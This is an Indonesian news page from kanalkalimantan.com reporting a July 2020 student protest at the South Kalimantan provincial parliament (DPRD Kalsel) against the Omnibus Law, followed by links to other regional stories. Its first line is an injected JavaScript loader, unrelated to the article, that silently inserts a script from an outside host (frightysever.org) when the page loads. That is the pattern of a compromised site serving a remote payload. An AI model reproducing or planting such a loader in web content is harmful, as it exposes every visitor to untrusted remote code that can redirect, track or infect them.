(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Gedung DPRD Provinsi Kalimantan Selatan diserbu massa, Senin (13/7/2020). Kali ini, ratusan mahasiswa dari berbagai perguruan tinggi yang menamakan dirinya Fraksi Rakyat Indonesia Kalsel menyerbu Rumah Banjar –sebutan kantor DPRD Kalsel-, menuntut pencabutan RUU Omnibus Law.
Pantauan di lokasi, massa menuntut untuk bertemu dengan Ketua DPRD Kalsel. Sayang, lantaran permintaan mahasiswa tidak dipenuhi, sempat terjadi adu mulut antara mahasiswa dengan aparat kepolisian.
Lantas, beberapa perwakilan anggota DPRD Kalsel seperti HM Lutfi Saifudin dan Karli Hanafie menemui ratusan mahasiswa yang telah menunggu sejak rapat paripurna DPRD Kalsel dimulai.
Ratusan aparat kepolisian pun tampak mengamankan lokasi demonstrasi. Akibatnya, sebagian Jalan Lambung Mangkurat Banjarmasin ditutup dan terjadi pengalihan arus lalu lintas.
Gedung DPRD Provinsi Kalimantan Selatan diserbu massa, Senin (13/7/2020). foto: fikri
Hingga berita ini ditulis, mahasiswa tampak beradu argumen perwakilan anggota DPRD Kalsel. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.